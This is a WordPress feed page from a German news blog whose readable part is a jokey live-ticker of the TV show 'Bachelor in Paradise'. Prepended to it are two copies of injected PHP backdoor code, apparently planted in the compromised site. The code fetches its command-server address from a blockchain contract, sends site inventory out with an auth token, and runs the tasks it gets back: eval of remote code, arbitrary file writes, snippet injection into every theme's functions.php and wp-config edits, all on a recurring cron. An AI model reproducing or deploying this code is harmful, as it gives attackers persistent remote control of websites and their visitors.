// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); 😂 – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 14 Jun 2018 08:55:04 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png 😂 – Brief News https://briefnews.eu 32 32 Am besten war das Ende. Da war es vorbei. 🙃 https://briefnews.eu/am-besten-war-das-ende-da-war-es-vorbei-%f0%9f%99%83/ https://briefnews.eu/am-besten-war-das-ende-da-war-es-vorbei-%f0%9f%99%83/#respond Thu, 14 Jun 2018 08:55:04 +0000 http://briefnews.eu/am-besten-war-das-ende-da-war-es-vorbei-%f0%9f%99%83/

Nabend! Phil hier. Ich hab heute Bachelor-Dienst für Sebastian, der das eigentlich immer macht. Mein Problem allerdings: Ich hab absolut null Plan. – Also quasi so viel, wie der Typ hier. 👇

1.

Eins ist aber selbst mir klar. Das ist das große Ziel für heute:

Ich will nur, dass Evelyn und Domenico ein Paar werden und ins Sommerhaus der Stars einziehen. Danke. #BachelorInParadise

Ich will nur, dass Evelyn und Domenico ein Paar werden und ins Sommerhaus der Stars einziehen.

Danke. #BachelorInParadise

2.

Los geht’s sofort mit fettem Drama. Sebi sagt, Janika wäre krass hinterhältig gewesen.

3.

Aber nun ja. Jetzt isse halt auch weg seit letzter Woche. Ein bisschen schade fürs Drama.

4.

Annika hatte von dem Theater um Sebi früh die Schnauze voll und hat einfach mal Tschüss gesagt. Respekt dafür!

5.

Sie verpasste aber auch gleich die größte Chance ihres Lebens. Also die Schale Pommes mitzunehmen, die Sebi beim Abschied in der Hand hatte.

Sie umarmt Sebastian, während er Bier und Pommes in der Hand hat und geht nach Hause. Ist die dumm? Wieso nimmt sie das Bier und die Pommes nicht mit? #BachelorinParadise

Sie umarmt Sebastian, während er Bier und Pommes in der Hand hat und geht nach Hause. Ist die dumm?

Wieso nimmt sie das Bier und die Pommes nicht mit? #BachelorinParadise

6.

Dann wurde es ernst. Die offizielle Ansage von dem Mann in der Hose: Ihr müsst euch jetzt als Pärchen zusammenfinden, ansonsten seid ihr raus.

7.

Klares Stichwort für Paul, sich gleich alleine auf den Weg nach Hause zu machen.

„Jetzt ist der Moment gekommen, wo aus Singles Pärchen werden.“ #BachelorinParadise Paul jetzt so:

„Jetzt ist der Moment gekommen, wo aus Singles Pärchen werden.“ #BachelorinParadise

Paul jetzt so:

8.

Überrascht ja aber auch nicht. Der Kerl hat sich ja die ganze Zeit gefragt, was hier eigentlich los ist.

9.

Evelyn und Domenico derweil: Wollen wir diesen nächsten Step eingehen? – Ey, sag das mal romantischer! – Wollen wir diesen nächsten Step eingehen, gemeinsam?

10.

Domenico heute mit dem Feingefühl einer Raufasertapete.

Domenico fragt Evelyn, ob sie zusammen sein wollen. Evelyn sagt ja und Domenico will danach einklatschen. Meine Art von Romantik. #BachelorInParadise

Domenico fragt Evelyn, ob sie zusammen sein wollen. Evelyn sagt ja und Domenico will danach einklatschen.

Meine Art von Romantik. #BachelorInParadise

11.

Profis, die beiden.

„Wollen wir diesen nächsten Step eingehen?“ [ ] ja [ ] nein [ ] vielleicht [x] nur, wenn RTL dabei ist #BachelorInParadise

„Wollen wir diesen nächsten Step eingehen?“

[ ] ja
[ ] nein
[ ] vielleicht
[x] nur, wenn RTL dabei ist

#BachelorInParadise

12.

Gleichzeitig lief irgendwo in einem Palmenbusch das Treffen der Anonymen Fame-Süchtigen.

13.

Carina ganz stark dabei, Punkte zu sammeln. Also an der Supermarktkasse beim nächsten Einkauf.

Meine Mitbewohnerin: "Carina ist auch einfach ne Personifikation von Recklinghausen. Da musst du einmal eine halbe Stunde mit der Bahn durch die Stadt fahren und hast drei neue Geschichten für "Mitten im Leben"" <img src=😂😂😂 #BachelorInParadise">

Meine Mitbewohnerin: "Carina ist auch einfach ne Personifikation von Recklinghausen. Da musst du einmal eine halbe Stunde mit der Bahn durch die Stadt fahren und hast drei neue Geschichten für "Mitten im Leben"" 😂😂😂😂

#BachelorInParadise

14.

Oh und diese beiden sind raus. Sorry, die schienen jetzt aber ehrlich gesagt nicht wirklich wichtig gewesen zu sein. Wie so’n Stück Butter an der Wand. (Eine mit Raufaster tapezierte.)


RTL

Keine Ahnung, was ich damit sagen wollte. Ich hab einfach zu viel Evelyn geguckt.

15.

Und dann war da diese unfassbar unangenehme Situation. Viola baute voll auf Christian, der war aber schon längst mit Koffer durch die Tür. Upsi! 😂

„Wir haben ja beide JA gesagt.“ *er hat nein gesagt* „Er hat nicht ja gesagt? Oh.“ HAHAHAHAH. WAS. #BachelorInParadise

„Wir haben ja beide JA gesagt.“

*er hat nein gesagt*

„Er hat nicht ja gesagt? Oh.“

HAHAHAHAH. WAS. #BachelorInParadise

16.

Mit anderen Worten:

17.

Schalten wir zum Abschluss-Date von Evelyn und Domenico …

18.

Ja, läuft.

19.

Genau wie beim Date von Pamela und dem Elefanten. Äh, Philipp.

20.

Auf jeden Fall ganz weit vorne dabei, die beiden.

"Wie im Jurasic Park" - Elefanten und Dinosaurier kann man schon mal verwechseln. #BachelorInParadise

"Wie im Jurasic Park" – Elefanten und Dinosaurier kann man schon mal verwechseln. #BachelorInParadise

21.

Der Elefant hatte auch gleich nen Kommentar dazu.

22.

Sorry, aber mehr Fake als beim Date von Carina und Sebastian ging nicht.

23.

Schalten wir lieber wieder zu Evelyn und Domenico. Alles gut bei euch beiden?

24.

“MEINE GEHIRNZELLEN!” (Jau, sieht gut aus.)

25.

Ach, die beiden. 😍

Wenn Evelyn & Domenico heiraten sollten, haben wir vielleicht auch bald eine Royal-Hochzeit, um die uns ganz Europa beneidet. #BachelorinParadise

Wenn Evelyn &amp; Domenico heiraten sollten, haben wir vielleicht auch bald eine Royal-Hochzeit, um die uns ganz Europa beneidet. #BachelorinParadise

26.

Und wir alle seit über einer Stunde:

27.

Bei Famile Fake ging es dann zum Picknick an den Strand.

28.

Und Carina ist wieder ein totaler Quell der Freude.

Neben dem Boot gibt es jetzt auch noch Essen, welches Carina nicht mag. Ich liebe mein RTL. #BachelorInParadise

Neben dem Boot gibt es jetzt auch noch Essen, welches Carina nicht mag.
Ich liebe mein RTL.

#BachelorInParadise

29.

🙄

5 Dinge, die ich an Carina mag: 1. Nix 2. Gar nix 3. Absolut Nix 4. Überhaupt gar nix 5. Wirklich überhaupt nix #BachelorInParadise https://t.co/M8U7ji4sVA

5 Dinge, die ich an Carina mag:

1. Nix
2. Gar nix
3. Absolut Nix
4. Überhaupt gar nix
5. Wirklich überhaupt nix

#BachelorInParadise https://t.co/M8U7ji4sVA

30.

Fuck, all dieses Dates. Langsam wird mir schwindelig.

Immer diese Switches gerade: Evelyn & Domenico - süß. Pam & Philipp - langweilig. Carina & Sebastian - unangenehm. #BachelorinParadise

Immer diese Switches gerade:
Evelyn &amp; Domenico – süß.
Pam &amp; Philipp – langweilig.
Carina &amp; Sebastian – unangenehm.
#BachelorinParadise

31.

Wir auch. Wir auch.

32.

Bei Evelyn und Domenico geht es in großen Schritten voran. Oder in Steps, wie hier alle irgendwie ständig sagen.

"Zusammenziehen" was Domenico meint: Kinder, Hochzeit, Herzkribbeln dings das yinyang was Evelyn meint: Boah ja voll geil, WG spart krass Miete #BachelorInParadise

"Zusammenziehen"

was Domenico meint: Kinder, Hochzeit, Herzkribbeln dings das yinyang
was Evelyn meint: Boah ja voll geil, WG spart krass Miete

#BachelorInParadise

33.

Die Schlafsituation für die Nacht war aber auf jeden Fall geklärt.

34.

Plötzlich diese Rückblende zu dieser Undercover-Aktion von Carina und Philipp. WTF?!

35.

Uiuiui, im Dunkeln! IM DUNKELN!

36.

Ich tippe auf gemeinsames Minigolf.

Ich muss jetzt aber schon wissen, was da genau bei Philipp und Carina passiert ist @RTLde #BachelorinParadise

Ich muss jetzt aber schon wissen, was da genau bei Philipp und Carina passiert ist @RTLde #BachelorinParadise

37.

Nicht mit uns!

38.

Mal sehen, wo das gleich noch hinführt. 😇

#BachelorinParadise Wenn jetzt Philipp Pam abserviert und Carina nimmt, eskaliert die Lage hier komplett.

#BachelorinParadise

Wenn jetzt Philipp Pam abserviert und Carina nimmt, eskaliert die Lage hier komplett.

39.

So, Dates jetzt alle offiziell vorbei. Wichtige Zusammenfassung:

Pam + Philipp: Philipp hat keinen Bock, will aber kein Arsch sein Domenico + Evelyn: Evelyn hat keinen Bock, will aber keine Ärschin sein Carina + Sebi: keiner hat Bock und beide wollen mehr Instagram-Follower #BachelorinParadise

Pam + Philipp: Philipp hat keinen Bock, will aber kein Arsch sein
Domenico + Evelyn: Evelyn hat keinen Bock, will aber keine Ärschin sein
Carina + Sebi: keiner hat Bock und beide wollen mehr Instagram-Follower #BachelorinParadise

40.

Jetzt Rosenvergabe! Ich bin ja so aufgeregt! (Naja, also wirklich ein bisschen mittlerweile.)

41.

Den Anfang machen Evelyn und Domenico.

42.

Kurzer unangenehmer Moment zum Liebesgeständnis von Domenico:

43.

Aber trotzdem: Voller Erfolg! 💪

44.

